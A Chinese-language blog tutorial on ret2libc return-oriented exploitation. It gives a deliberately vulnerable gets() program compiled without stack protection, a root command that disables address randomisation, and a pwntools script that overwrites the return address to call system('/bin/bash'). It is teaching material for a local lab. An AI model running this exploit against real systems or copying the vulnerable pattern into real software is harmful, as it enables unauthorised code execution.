ret2libc

痛定思痛。 2022-12-02 10:54 155阅读 0赞

## retlibc ##

ret2libc是返回导向编程（ROP）的一种，在开始数据执行保护的情况下，可以利用ROP执行shellcode

## 前置知识（栈空间与函数调用） ##

如果要调用一个函数，如system(const char \*cmd)，汇编中是这样的

0x56555571 <+36>:	lea    eax, cmd
    0x56555577 <+42>:	push   eax
    0x56555578 <+43>:	call   0x565553e0 <system@plt>
    0x5655557d <+48>:	add    esp, 0x4

调用call指令时，会将下一条指令的地址压栈，然后jmp到要调用的地址。  
以上面的汇编代码为例，当前EIP=0x56555578，执行call指令，相对于

push 0x5655557d
    jmp 0x565553e0

假如cmd的地址为0x12345678，上述汇编的栈空间为  
![在这里插入图片描述][20200830162354615.png_pic_center]

## 环境搭建 ##

源码

#include<stdio.h>
    #include<string.h>
    
    int main(int argc, char **argv)
    { 
    	char buf[256];
    	gets(buf);
    	puts(buf);
    	return 0;
    }

编译`gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector ret2libc.c -g -o ret2libc`  
编译选项选择栈指针4-bytes对齐，这个对实验影响不大，后面的-fno-stack-protector表示关闭栈保护，实验需要关闭栈保护。

切换到root用户，执行`echo 0 > /proc/sys/kernel/randomize_va_space`关闭地址空间随机化。

## 实验步骤 ##

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2OTYzMjE0_size_16_color_FFFFFF_t_70_pic_center]  
从gdb可以看到buf的地址为0xffffcf74，ebp的地址是0xffffd078

0xffffd078 - 0xffffcf74 = 260，需要覆盖ebp还需多加4个字节。接着用system的地址0xf7e19250覆盖main函数的返回地址，这样main函数返回时区执行system函数。接着填充四个字节作为system的返回地址，最后填充system参数的首地址。  
所以发送payload之后栈的空间如下：

+----------------------+
    | "/bin/bash0AAAAAAAA" |   <-- buf首地址
    | "AAAAAAAAAAAAAAAAAA" |
    |         ....         |
    +----------------------+
    |     system_addr      |   <-- main ret
    +----------------------+
    |   ret_after_system   |
    +----------------------+
    |       buf_addr       |
    +----------------------+

攻击的脚本如下：

from pwn import *
    
    cmd = '/bin/bash\x00'
    padding = 'a'*(264-len(cmd))
    system = 0xf7e19250
    buf = 0xffffcfa4
    sys_ret = 'bbbb'   # 我们不关注system函数返回之后的情况，所以返回的地址可以任意填写
    payload = cmd + padding + p32(system) + sys_ret + p32(buf)
    ret2libc = process("./ret2libc");
    ret2libc.sendline(payload)
    ret2libc.interactive()

效果如下：  
![在这里插入图片描述][20200830164846502.png_pic_center]

[20200830162354615.png_pic_center]: /images/20221123/1b5f94abaf3246f9a4496ec185deeb4e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2OTYzMjE0_size_16_color_FFFFFF_t_70_pic_center]: /images/20221123/0e8dc9f2e2dd44cd90cddbbd1cf531b0.png
[20200830164846502.png_pic_center]: /images/20221123/ad1b68dff26b4f438381af098d4c4a52.png